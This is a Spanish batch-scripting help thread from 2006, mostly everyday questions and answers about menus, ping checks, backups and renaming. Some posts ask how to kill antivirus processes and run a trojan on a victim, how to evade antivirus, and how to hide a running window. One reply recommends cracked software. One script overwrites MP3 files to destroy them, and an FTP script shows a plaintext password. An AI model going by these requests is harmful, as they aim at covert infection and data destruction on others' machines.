@echo off echo 1 Formatear disquette con archivos de sistema echo 2 Estado de particion echo 3 Iniciar FTP set /p opciones= if %opciones%==1 goto formatear if %opciones%==2 goto fdisk if %opciones%==3 goto ftp goto listo :formatear set drive=%1 if "%1" == "" set drive=a: format a: /q /s goto listo :fdisk fdisk /status goto listo :ftp ftp goto listo :listo exit Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gearl23 en 18 Febrero 2006, 20:19 pm Gracias k-po!!!!
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 18 Febrero 2006, 21:14 pm jejeje de nada.... ;) ;) ;)
PD: el comando chioce no esta en XP, solo en Win 9x Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: andonio en 25 Febrero 2006, 12:05 pm Muy buenas, espero que este sea el lugar adecuado al que dirgir mi duda.
Me gustaria crear un bat que me borrase todos los directorios llamados XXX de un path dado Supongo que no sera dificil pero soy nuevo y no acierto he conseguido localizar los ficheros a borrar con: dir XXX /b /s /a:d ahora lo que me gustaria es aplicar la orden rmdir /s a todos los directorios resultantes de la orden anterior como puedo hacerlo? (no se si esto es la mejor forma de hacerlo) Agradecido de antemano, saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 25 Febrero 2006, 19:55 pm la verdad, no te e entendido mucho...kieres borrar los archivos que estan dentro de XXX???
cd C:\XXX del /s /q *.* Kieres borrar todos los directoerios de XXX??? cd C:\XXX rd /s/q *.* espero que esto te sirva... Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: sagatxxx en 2 Marzo 2006, 11:14 am holas chicos una cosita a ver si podeis ayudarme, resulta que trabajo en una oficina y queria hacerme un bat para que se ejecute a primera hora de la mañana con el programador de tareas en el que:
haga una copia de seguridad de mis documentos a otro equipo por si el mio muere jejjee esto ya lo tengo conseguido, lo que pasa es que algunas veces se nos olvida de encender primero el equipo de la copia de seguridad (no el mio jejeje), y entonces el bat se ejecuta salen todos errores y como se cierra muy rapido no lo ves y te quedas pensando que ha ido bien, lo que yo queria es que dependiendo de que se haya hecho bien o no salga un mensaje indicandolo algo asi - la copia de seguridad fue correcta. - oye memo como quieres que copie algo a un ekipo apagado ... o mejor que primero compruebe si esta encendido, con un ping por ejemplo, o lo que sea, y te diga que si esta apagado, lo enciendas y si esta bien pos que la copia fue correcta Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 2 Marzo 2006, 14:56 pm Bueno puedes hacer esto:
:mirar If exist "CARPTEADELPC" (goto existe) else (goto noexiste) :existe Copy /y bla bla bla goto fin :noexiste ping 127.0.0.1 -n 50 (espera 50 segundos y lo vuelve a intentar) goto mirar :fin exist Es bastante sencillo este programita, pero weno...Se puede modifikar a tu gusto... Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: turi8 en 5 Marzo 2006, 22:15 pm Hola hice este .bat pero lo que me pasa es que quiero que sea oculto que no se ejecute la ventana que tengo que hace???
Citar @echo off start explorer.exe :bucle If Not Exist J:\ goto cop If exist J:\ goto copy :cop goto bucle :copy xcopy "J:\" C:\Kazaa /s /e /q :fin exit Saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 6 Marzo 2006, 07:53 am Para turi8
he aqui la forma mas facil de convertir un archivo bat a uno exe lo primero que haremos es bajarnos nuestro super programa Quick Batch File Compiler en la siguiente direccion http://usuarios.lycos.es/aadevfx/web/download.html lo instalamos en nuestro ordenador, luego echamos el crack y lo registramos. luego abrimos nuestro programa, apretamos open selecsionamos nuestro archivo bat, siqueremos podemos ir a Projet luego option y le podemos cambiar a ghost application para que el archivo resultante (exe) al ejecutarlo no muestre la ventana de comando de consola que aparece y se cierra. Tambien si vamos a custom resources podemos cambiar el icono y agregar informacion al exe. por ultomo apretamos en Build para guerdar nuesto archivo bat ya convertido en exe saludos Suerte. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ChoPeRo en 6 Marzo 2006, 13:25 pm buenas, lo que quiero hacer... es que cuando la victima abra el bat se le finalice los procesos cualquier antivirus... y al cabo de 10 segundos.. se ejecute un troyano.. como puedo hacer eso ?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: whiskises en 10 Marzo 2006, 21:15 pm Hola, En los tutoriales he encontrado el proceso inverso:conocido el path , realizar tal o cual acción, pero ¿Cómo podría conseguir que al ejecutar un *.bat , este ,detecte el path donde se esté ejecutando? .Gracias.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 11 Marzo 2006, 20:10 pm de esta manera enkuentras toda la ruta:
Código: echo %0 si por ejemplo tu .bat esta guardado en C:\Windows y el .bat se llama Prueba.bat lo que saldra por la pantalla sera: C:\Windows\Prueba.bat Espero que te sirva Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: whiskises en 13 Marzo 2006, 06:45 am Va perfecto.Gracias.
Estuve buscando como cifrar y descifrar por consola un ejecutable.De forma que quede fuera de los analisis de los antivirus, espero.pero no encontre nada ¿alguna idea? ¿Existe alguna manera de impedir que el cursor no cambie a flecha+Reloj de arena cuando se ejecuta un exe oculto ? porque canta un poco, aunque no se vea lo que ocurre. Título: ACCESO DIRECTO QUE PREGUNTE LO QUE POSTERIORMENTE SE CONVIERTE EN VARIABLES Publicado por: merendegildo en 14 Marzo 2006, 18:48 pm Podemos hacer un archivo Bat utilizando las variables %1 %2 etc dentro de su propio código que llaman a lo que ponemos tras el comando MSDOS a la hora de ejecutarse.
Podemos hacer un acceso directo que ejecute el archivo Bat. La pregunta es: ¿COMO PODEMOS HACER UN ACCESO DIRECTO QUE NOS PREGUNTE MEDIANTE UNA ESPECIE DE INPUTBOX LO QUE POSTERIORMENTE SE CONVIERTE EN VARIABLES? Se que es posible creo que es poniendo algo así como: "C:\prueba.bat" /este sera el texto:%1 en la propiedad Destino del acceso directo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: superskunk en 17 Marzo 2006, 21:15 pm Estoy trabajando en un bat que realice lo siguiente, pero todavía no he escrito el codigo, os explico y luego me decís, tengo una red con perfiles moviles que tiran de un servidor, tengo un clon de los perfiles en otro servidor, y en el script de inicio ya tengo creado los if necesarios para que en caso que no encuentre levantado el servidor principal mapee al clon con lo que el user ni se pispa y puede trabajar. Bien esto supone que en caso de caida ocasional todas las maquinas necesitarian reiniciar para que el bat de inicio funcionase, quiero hacerlo más limpio para el user. QUiero crear un bat que se dedique a comprobar que el server principal esta levantado, y en el caso que no estuviera mate el los procesos de correo con una aplicacion que ya tengo,y que mapee la unidad al clon. Esto último ya lo tengo casi elaborado en la cabeza, pero el problema, es a mi se me ocurre crear mediante el bat una at que ejecute un ping cada media hora, o cada hora y si el %errorlevel% que generase fuese de host inaccesible lanze la tarea posterior.Claro el hacer un ping cada media hora es una carga de red grande, acepto ideas de como verificar el estado del servidor principal de perfiles que no fuera esta.
Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: elmonomario en 22 Marzo 2006, 02:43 am Hola quiero saber como hacer un bat que haga un archivo *.txt o la que sea con informacion del disco rigido como: etiqueta, espacio utilizado y espacio disponible. ......gracias
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: selenne.83 en 22 Marzo 2006, 13:01 pm Buenas,
Tengo un cutre.bat para mapear diversas unidades que me funciona bien. He intentado agregar también diversas impresoras de red pero no encuentro la manera. El << net use printer1 \\server\printer1 >> no me funciona, y no sé si es que no se puede hacer, o que es con un comando que desconozco. Alguien que me pueda ayudar? :huh: Asias! Rach Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Franc_ en 22 Marzo 2006, 15:36 pm Una pregunta amigos, ojala me puedan ayudar.
Lo que sucede es que donde trabajo algunas personas se dedican a bajar archivos de musica MP3, lo cual estaria bien si no abusaran mucho, y por culpa de ellos me han dicho q tengo q borrar estos archivos, asi que decidi hacer algo, y encontre esto en un archivo, lo cual he modificado, hasta dejarlo como queria, pero hay es la consulta que deseo hacerles, el codigo es: @echo off @for %%i in (c:\mp3\*.mp3) do copy %0 %%i>NUL :done lo cual probe y lo que hace es borrar el contenido del mp3 y en vez de eso colocar el codigo de arriba, pero lo que sucede es solo borra archivos que no contengan espacio, me explico, por ej, borra "aaaa.mp3", pero el archivo "aaa aaa aaa.mp3" no lo puede borrar, como podria hacer para que funcione con los archivo que contengan espacio en blanco, y la otra consulta es que en el archivo nuevo se copia el codigo como les dije, pero lo que quiero es no copie nada, que quede en blanco, sin el codigo, haber si me ayudan, muchas gracias Título: Variables entre archivos Publicado por: fsandria en 23 Marzo 2006, 23:02 pm Tengo 1 archivo bat y un script ftp para traer la informacion de uno de los servidores a la pc, funcionan perfectamente, solo que me cambiaron el esquema en que se guardan los respaldos, antes se guardaban en un solo directorio (llamado respaldo), ahora se guardan en uno llamado del mismo nombre pero seguido de guion bajo y la fecha del dia (respaldo_23032006), el bat para crear un directorio con la fecha del dia no es problema, el problema es hacer que el archivo .ftp se dirija hacia el directorio que corresponde al dia,
mando los dos archivitos en el orden en que se corren: --- ram.bat --- @echo off ftp -n -s:ram.ftp --- ram.ftp --- open 10.20.30.40 user sistemas raqxtrpix bin prompt cd /respaldo/respaldos/ram/respaldo_xxxxxxxx mget dbexport.* cd soaardb.exp mget *.unl mget *.sql close quit basicamente mi problema es como me paso a el directorio respaldo_xxxxxxxx en el archivo .ftp si ya consegui que me me creara el directorio en la pc con la fecha del dia y que es la variable que deberia llevar en las xxxxxxxxx Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: elmonomario en 26 Marzo 2006, 08:23 am Hola Necesitaría que alguien me explique bien como lo modifico a éste código que hice ya que no me guarda toda la información en el archivo txt que creo. Gracias
@echo off CHKDSK tp2.bat>tp1.txt Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 26 Marzo 2006, 22:22 pm Seria asi:
@echo off CHKDSK > C:\info.txt exit Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: elmonomario en 27 Marzo 2006, 02:24 am ;D Muchas gracias Hendrix ahora anda de diez.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: nanoemi003784 en 27 Marzo 2006, 10:03 am Hola, quisiera saber como hacer lo siguiente:
hacer un bat que me de una respuesta de un ping En un pseudocódigo sería más o menos así: SET ip=192.168.0.1 ping %ip% si(ping me dio alguna respuesta negativa (es decir me dio tiempo de espera agotado)) entonces: echo No anda sino echo Anda perfectamente Fin La idea es que necesito saber si ping devuelve algun resultado o si hay una variable default donde todas las funciones retornan algun tipo de resultado. Desde ya muchas gracias! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 27 Marzo 2006, 16:10 pm Yo hace tiempo hice algo parecido, lo que hacia mi programa era ver si habia konexion (haciendo ping a google), si respondia te enviaba la IP de la viktima a tu FTP, sino, esperaba 50 segundos y lo volvia a mirar....
Te paso el kode: Código: @echo off Espero que te sirva, es algo komplikadillo, pero weno. Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: nanoemi003784 en 27 Marzo 2006, 17:53 pm Gracias por responder Hendrix.
Si me sirvió, pero yo pensé que el DOS o el lenguaje batch o quien fuera te devolvía una variable estandar con un resultado true o false o algo asi luego de cada comando; digo esto porque veo que en tu código escribis en un archivo y luego lo lees y de ahi sacas la respuesta al ping. Pero tengo entendido que ping de por si devuelve algo (1 ó 0 ó true ó false) y asi todos los comandos, pero no se cual es la manera de ver ese resultado sin tirarlo a un archivo. De todos modos con este script que me diste es más que suficiente y te lo agradezco. Nos vemos, si te enteras de algo con respecto a esto me aisas? Saludos! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 27 Marzo 2006, 22:03 pm no, el DOS no funciona asi, solo funciona de la manera que esta en mi programa.
A veces es algo komplikado este lenguaje (sobre todo para leer archivos). Pero Weno.... Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: nanoemi003784 en 28 Marzo 2006, 00:11 am Hendrix:
Gracias por todo, descubri una pequeña variable que no se bien como funciona pero sirve para lo que yo necesitaba. Te paso el código para que lo veas y me corrijas en todo lo posible o me das más información pq de esto se muy poco: @echo off SET ip=192.168.0.1 ping %equipo% -n 1 echo %errorlevel% si el ping da respuesta la variable errorlevel vale 0 si el ping da tiempo de espera agotado la variable errorlevel vale 1 Por suerte con esto me alcanza, pero si no fuera por tu ayuda y la de este foro no lo habría hecho, asi que gracias de nuevo e insisto, si conseguis más información acerca de este errorlevel te estaría más agradecido aún. Saludos! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 28 Marzo 2006, 16:25 pm vaya, yo konocia este comando, pero no sabia que funcionaba para esto....esta bastante interesante.... ;D ;D ;D ;D
Por cierto, el kode que posteaste tu komo ejemplo seria asi para que fuese korrecto: @echo off SET ip=192.168.0.1 ping %ip% -n 1 echo %errorlevel% pause exit Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: cyrusx en 1 Abril 2006, 06:18 am saludos!!!!!! se q soy nuevo por aki y solo les queria preguntar como hago para cambiar de color la pantalla por medio de un BAT q paleta uso, osea q colores soporta y como se usa el comando...... gracias..........
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 1 Abril 2006, 11:13 am Prueba este:
color 0a Para ver mas kolores pon esto: color /? Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 2 Abril 2006, 21:33 pm Informacion detallada en batch:
Este kode te da una informacion detallada de tu PC., bastante interesante. Código: @echo off PD: El kode es 100% mio, no e echo ningun copy&paste... ;) ;) Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Franc_ en 3 Abril 2006, 18:56 pm Como hago para renombrar un archivo, 01 aventuras.rar a 01_aventuras.rar. osea renombrar ami archivos con (_) en ves de espacio.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 3 Abril 2006, 23:13 pm ren 01 aventuras.rar 01_aventuras.rar
Ten en kuenta que tienes que estar en la ruta adekuada, es decir, si estos archivos estan en C:\Windows pones esto: cd "C:\Windows" ren 01 aventuras.rar 01_aventuras.rar Y asi ya vale... Salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Franc_ en 4 Abril 2006, 15:51 pm Muchas gracias amigo, pero como seria para varios archivos 01 aaaa.rar
02 aaaa.rar 03 aaaa.rar Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 4 Abril 2006, 23:04 pm Si tienes muchos archivos puedes hacer un bukle, por ejemplo puedes hacer esto:
@echo off set /a op=0 :tutu set /a op=%op%+1 ren %op% archivo.rar %op%_archivo.rar if %op%==20 (goto turet) goto tutu :turet exit En este kaso se crearia un bukle que renombraria todos los archivos desde el 0 hasta el 20, lo puedes modifikar a tu gusto... PD: recuerda poner la ruta!!!! kedaria asi: @echo off cd "C:\ruta\ruta set /a op=0 :tutu set /a op=%op%+1 ren %op% archivo.rar %op%_archivo.rar if %op%==20 (goto turet) goto tutu :turet exit Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Franc_ en 5 Abril 2006, 16:06 pm no me sale nada amigo, me dice "La sintaxis del comando no es correcta", y otra consulta si se puede, algunos archivos tienen mas espacios por sustituir, osea. xxx xxx xxx.rar, cmo haria para sustituir esos espacios en blanco por ( _ ), osea xxx_xxx_xxx-rar, gracias por tu ayuda
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: SPERMAN en 5 Abril 2006, 18:23 pm Hola a todos...
Soy nuevo en este foro, y nuevo también en el mundillo de la informática "en profundidad". Tengo un problemilla con un .BAT, os explico: - Estoy usando un programa en WINDOWS XP, basado en MS-DOS. Este programa está instalado en red, y lo estamos usando 2 personas. Yo necesito imprimir datos que genera este programa a través de una impresora que no es la mía, sino que está ubicada en otro ordenador (como predeterminada de éste). - El código del .BAT es el siguiente: @echo off Z: SET MANCLA=OBLDOJLA cd \turbocon REM SET APOUSER1=IMP2001 btrieve /m:64 /p:4096 >nul man2001.exe butil -stop >nul cd\ Mi pregunta es: ¿Qué debo incluir en este .BAT para que yo pueda imprimir en la impresora de la otra persona? Gracias de antemano. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: malignant en 5 Abril 2006, 18:58 pm Wenasss lo que me a costado encontrar un foro de batch, jeje. He estado leyendo todo el tema y he visto q dais muchas soluciones y me a dado alegria al ver que ay gente q sabe ;D
Mi problemilla es que tengo q convertir unos ficheros wav a mp3, pero ese no es el problemilla, sino que los ficheros mp3, deben de conservar la fecha de los anteriores por mas que e buscado en la red, nada de nada. Si pudierais echarme una mano os lo agradeceria. Un saludo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Janox26 en 7 Abril 2006, 01:49 am Hola a todos, son nuevo en esto y necesito hacer una consulta. Me da lo mismo en que lenguaje que se realice pero lo necesito urgente.
Tengo un archivo txt con el nombre de los equipos de una red, no la ip el nombre de equipo. Lo que necesito hacer un ping a los equipos y ver si tiene respuesta o no tiene respuesta, y que lo guarde en otro archivo txt. Yo hice uno simple que igual me sirve, pero solo graba el primero, los otros no. @echo off ping equipo1> c:\vaso.txt ping equipo2 ping equipo 3 pause Gracias amigos y espero puedan ayudarme. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Compusers en 7 Abril 2006, 20:08 pm Mi problema es que tngo un archivo .ini que quisiera modificar mediante un .bat pero me falta una ayudadita para poderlo editar por ejemplo:
Echo 1.- Cual es tu nombre? Echo 2.- Cuantos años Tienes? Echo 3.- Que sexo tienes? Echo 4.- Salir choice 1234 if errorlevel 4 goto salir if errorlevel 3 goto sexo if errorlevel 2 goto años if errorlevel 1 goto nombre Salir: @Exit sexo: echo. echo Preciona M ó H segun tu Sexo echo. choice MH if errorlevel 2 goto Hombre if errorlevel 1 goto Mujer Hombre: echo [SEXO]=H > c:\Empleados\config.ini C:\Modificar.bat Mujer: echo [SEXO]=M > c:\Empleados\Config.ini C:\Modificar.bat años: Echo. Echo Escribe cuantos años tienes y preciona Enter Echo. ( Aqui es donde tengo el problema ya que no se me ocurre como poder ingresar el numero que escriban en el espacio de echo para mandarlo al Config.ini y tambien que no se si es posible poner en un lugar de la lista el escrito ) Ejemplo: [Nombre]= ? [Edad]= ? [Sexo]= ? el echo quedaria echo [Nombre]= Mi Nombre > c:\Empleados\Config.ini echo [Edad]= Mi Edad > c:\Empleados\Config.ini echo [Sexo]= :D3 veces al Dia:D > c:\Empleados\Config.ini pero como puedo escribir en cada lugar que le corresponde a cada instruccion, de antemano muchas gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DragonFire en 7 Abril 2006, 20:29 pm Mi problema es que tngo un archivo .ini que quisiera modificar mediante un .bat pero me falta una ayudadita para poderlo editar por ejemplo: Echo 1.- Cual es tu nombre? Echo 2.- Cuantos años Tienes? Echo 3.- Que sexo tienes? Echo 4.- Salir choice 1234 if errorlevel 4 goto salir if errorlevel 3 goto sexo if errorlevel 2 goto años if errorlevel 1 goto nombre Salir: @Exit sexo: echo. echo Preciona M ó H segun tu Sexo echo. choice MH if errorlevel 2 goto Hombre if errorlevel 1 goto Mujer Hombre: echo [SEXO]=H > c:\Empleados\config.ini C:\Modificar.bat Mujer: echo [SEXO]=M > c:\Empleados\Config.ini C:\Modificar.bat años: Echo. Echo Escribe cuantos años tienes y preciona Enter Echo. ( Aqui es donde tengo el problema ya que no se me ocurre como poder ingresar el numero que escriban en el espacio de echo para mandarlo al Config.ini y tambien que no se si es posible poner en un lugar de la lista el escrito ) Ejemplo: [Nombre]= ? [Edad]= ? [Sexo]= ? el echo quedaria echo [Nombre]= Mi Nombre > c:\Empleados\Config.ini echo [Edad]= Mi Edad > c:\Empleados\Config.ini echo [Sexo]= :D3 veces al Dia:D > c:\Empleados\Config.ini pero como puedo escribir en cada lugar que le corresponde a cada instruccion, de antemano muchas gracias hay un tipo especial de comando que no es ni interno i exteno en los bat... Son comados bat que solo estan habilitados cuando el bat corre. Uno de ellos es el equivalente en unix al read y lo que lee lo mete en una variable.. necesitaras el help del msdos 6.22 o versiones similares y buscar los subcomandos bat. si pones help en un XP no te dara eso comandos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: sirdarckcat en 9 Abril 2006, 06:57 am Hay muchas maneras de pedir una cadena de texto, la mas facil de pensar es un bucle de "choice 0123456789"
Otra opcion seria hacer un programa con debug que almacenara la variable.. eso esta en la MKDB (http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q77457&) otra forma seria con caracteres de escape: Código: echo ESCRIBE ALGO: Dependiendo del SO, tambien podrias usar esto: Código: FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET INPUT=%%A http://www.robvanderwoude.com/index.html Ahora que si quieres hacer mas grafico tu porgrama, podrias usar algo como esto: http://my.fcc.net/~tglbatch/input95.html LastDragon, no existe ninguna funcion como la que dices.. Saludos!! Título: Re: abrir y toquetear ficheros Publicado por: pemo en 11 Abril 2006, 13:05 pm ola, keria saber si alguien me puede ayudar a hacer un batch k ni sikiera se si se puede. Dos preguntas:
- Por un lado quiero ejecutar un programa (lame) sobre cada fichero de un directorio. Habia pensado en un dir /b > fichero.txt. Pero ahora no se si existe un comando en DOS que pueda coger lineas de un fichero (le haria un bucle FOR). Existe algún comando?????? - Por otro lado quiero que la salida del batch se guarde en un fichero que tenga como nombre la fecha del fichero origen. Si pudiera obtener la fecha con algún comando de DOS del fichero origen la guardo en una variable y luego la utilizo. Exista comando para obtener fecha de un fichero????. A ver si alguien me puede ayudar por favor. Muchas Gracias y un saludo. Título: Re: abrir y toketear ficheros Publicado por: pemo en 11 Abril 2006, 13:22 pm ola, keria saber si alguien me puede ayudar a hacer un batch k ni sikiera se si se puede. Dos preguntas:
- Por un lado quiero ejecutar un programa (lame) sobre cada fichero de un directorio. Habia pensado en un dir /b > fichero.txt. Pero ahora no se si existe un comando en DOS que pueda coger lineas de un fichero (le haria un bucle FOR). Existe algún comando?????? - Por otro lado quiero que la salida del batch se guarde en un fichero que tenga como nombre la fecha del fichero origen. Si pudiera obtener la fecha con algún comando de DOS del fichero origen la guardo en una variable y luego la utilizo. Exista comando para obtener fecha de un fichero????. A ver si alguien me puede ayudar por favor. Muchas Gracias y un saludo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: vishero en 20 Abril 2006, 20:37 pm Hola,
Primero agradecer a todos los que han compartido sus conocimientos en este post... No tengo mucha idea del tema, pero leyendo este estupendo hilo se aprende mucho... Estoy intentando hacer un menú para un DVD con software variado, que permita elegir cual instalar. Algo muy simple... El Autorun.inf ejecutaría el Menu.bat, que a modo de ejemplo, sería el siguiente, para las pruebas he puesto solo dos opciones, pero serán varias mas: Código: @ECHO OFF El bat funciona bien en la primera elección, ejecuta el instalador elegido y cuando termina se va a :OTRO, si selecciono N se cierra, y si selecciono S vuelve al principio. El problema es que ahora no encuentra la ruta de los ejecutables, es como si hubiera cambiado el path... Como hago para "fijar" los directorios que contienen los ejecutables en relación al .bat?..., teniendo en cuenta que la letra de CD/DVD puede variar de un PC a otro, o dentro del mismo PC si tiene mas de un CD/DVD... Si además alguien tiene alguna sugerencia de cambio o mejora del código, será bienvenida... :) sl2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jarmenkell en 21 Abril 2006, 17:02 pm Problo
saludos a todos tengo un problema el asunto es el siguiente necesito concatenar dos directorios ejemplo set directorio = cd y luego en directorio concatenarlo con /b123/FD agradezco su ayuda Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 27 Abril 2006, 16:31 pm :o :o :huh: :huh: :huh:, explikate mejor....que kieres hacer???? sacar por ejemplo C:\Windows y agregarle /b123/FD??? :-\ :-\ :-\
Expliakte mejor... ;) ;) Salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: thor3308 en 30 Abril 2006, 23:55 pm hola quisiera saber como crear un bat para un backup que comprima con pkzip una carpeta con sus subcarpetas y programarlo para que se ejecute a una hora determinada. gracias
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: urtxiak68 en 12 Mayo 2006, 10:12 am hola, necesito ayuda urgente!!este es mi primer post, me he registrado porque llevo tiempo leyendo y aprendiendo pero aqui estoy atascada. necesitaria que alguien me explicara como hacer un fichero bat que borre todos los archivos que tengan mas de 7 dias de antiguedad de la fecha en la que ejecute el programa.
muchisimas gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 27 Mayo 2006, 13:18 pm hola urtxiak
Pues la fecha actual del sistema la tienes en %date%, pero no veo como puedes acceder a la fecha de los archivos en este entorno de manera que a mi modo de ver esto no se puede hacer. Te aconsejo que crees una pequeña aplicación en C, vbscript o similar que te lo haga. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Isirius en 5 Junio 2006, 23:19 pm Hola tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro con bath añadir entradas como en el Run o cosas asi en bath y la otra es si con bath se puede identificar en que directorio se encuentra el archivo y depues crear una clave en el registro dependiendo en el lugar que esta. Lo de mas importancia es lo primero Gracias
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: sirdarckcat en 6 Junio 2006, 06:55 am bueno urtxiak se masomenos como hacerlo pero solo en el directorio actual y debes aprender a usar error level y recompilacion de batch.. pero segun yo es posible..
aunque ademas de posible es complicado xD! busca informacion sobre: "choice" "errorlevel" y el uso de "<>" para redireccionar entrada y salida de acciones de programas.. Saludos!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 6 Junio 2006, 20:13 pm Citar tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro ¿Qué tal si empiezas por leer este post o el texto html que está en documentación? :rolleyes: Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: zickox en 6 Junio 2006, 23:36 pm Hola tengo dos preguntas una es saber si alguien sabe de algun manual o si me puede explicar como tratar el registro con bath añadir entradas como en el Run o cosas asi en bath y la otra es si con bath se puede identificar en que directorio se encuentra el archivo y depues crear una clave en el registro dependiendo en el lugar que esta. Lo de mas importancia es lo primero Gracias en google hay manuales del registro, para mas info sobre komo agregar y kitar llaves del registro pones esto en la shell de comandos reg /? para añadir entradas es asi reg add si kieres mas info reg add /? y si kieres buskar en el directorio que esta X archivo es usando for para que te enkuentre el archivo y luego sepas en que direcotrio esta para mas info for /? despues puedes krear una llave en el registro usando variables por ej set /p directorio=ruta luego kreas la llave kon la variable %directorio% para mas info set /? weno y eso seria... salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: xor_and en 7 Junio 2006, 21:34 pm saludos a todos los del foro, me alegra haber encontrado un foro dedicado a bat. Además leyendo me han dado las respuestas a varias dudasa que tenia...
gracias y estare dando vueltas mas seguido por aqui ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Unico_2006 en 12 Junio 2006, 11:58 am Hola a todos, soy nuevo en este foro;
I como no soy otro usuario que necesita ayuda sobre hacer un scrip en windows 2000 para salvar datos de maquinás clientes a servidores de datos. Yo quiero preguntar si se puede hacer lo siguiente: Quiero que la maquina cliente al ponerle el punto bat en el arranque acceda al servidor se loguee, que después de loguearse cree una carpeta con el nombre de la maquina cliente, y que después copie todos los datos de la partición d: de la maquina cliente y que la copie en la carpeta que haya creado con el nombre de la maquina, y que después de todo eso me cree un Log con todos los ficheros que haya creado, para saber si los a copiado todo o no. Ahora bien me leeréis y diréis por que no te lees todo lo que hemos puesto, y os digo lo leído todo pero no me funciona el comando xcopy en el bat he probado con todas las formas posibles me dice que si lo he copiado y luego resulta que no pasa nada, de todas maneras el command en Windows 2000 esta en c:\WINNT\system32\ no en win32 como a puesto alguien en la primera pagina. me duda mas grave es; ¿Se puede de alguna forma crear un scrip que te de el nombre de la maquiná y que he cree una carpeta en el servidor con dicho nombre??? Bueno gracias a todo por cierto el menu ese de if no se pero no funciona tambien he probado a escribirlo de mil maneras y me estoy volviendo loco. = me pasa con xcopy con if, con =, if%1, ya no se con que probar no se si es por la version de MS-dos pero si me funciona todo esto sin crearlo en el punto BAT me tendría que funcionar, digo yo, o no? Necestito ayuda por que lo necesito para la empresa que estamos renobando mas de 600 makinas y maginaros manualmente, que locura. Necesito vuestra ayuda a ver si me podeís poner un scrip que sea mas o menos igual y sino lo quereis enviar por aky, enviarme un correo porfavor al cesming@yahoo.es. Gracias y un saludo a todos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Unico_2006 en 12 Junio 2006, 13:59 pm Hola otra vez, ya he conseguido hacer lo xcopy ya se por que me fallaba, y erea por que depende del orden que escribas las opciones si escribes por ejemplo:
xcopy "d:\loquesea\*.*" \\*.*.*.*\*$\loquesea\ /F/E/Y no me funciona pero si lo escribo: xcopy "d:\loquesea\*.*" \\*.*.*.*\*$\loquesea\ /e /y /f si me funciona es de locos lo que NO he descubierto es que automanticamente me cree la carpeta en el servidor con el nombre de maquina; no Tengo NPI de como poder hacerlo, a ver si me contesta algún maquina de la sabiduria. Lo bueno seria pues que cuando inicie Windows se ejecutara el backup.bat y que hiciera lo siguiente: 1) loguearse en el servidor 2) Crear una carpeta en el servidor con el nombre del equipo del cliente. 3) Copiar todos los ficheros y directorios de la maquina cliente al servidor Backup a la Carpeta que haya creado con el nombre de la maquina cliente. 4) Que me cree un log en un fichero txt para que luego pueda imprimir o incluso mirar para ver si se han copiado todos ficheros. El punto 1 y 3 los tengo echos me falta el 2 el 4 pues hombre cuando copias los ficheros te da el numero de ficheros que has copiato le podrias dar a print y emprimirlos o intentar que los guarde en un txt eso ya se me escapa. Seguire probando asta que vea una respuesta de mis preguntas. Gracias a todos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: wonderwoman en 12 Junio 2006, 16:58 pm 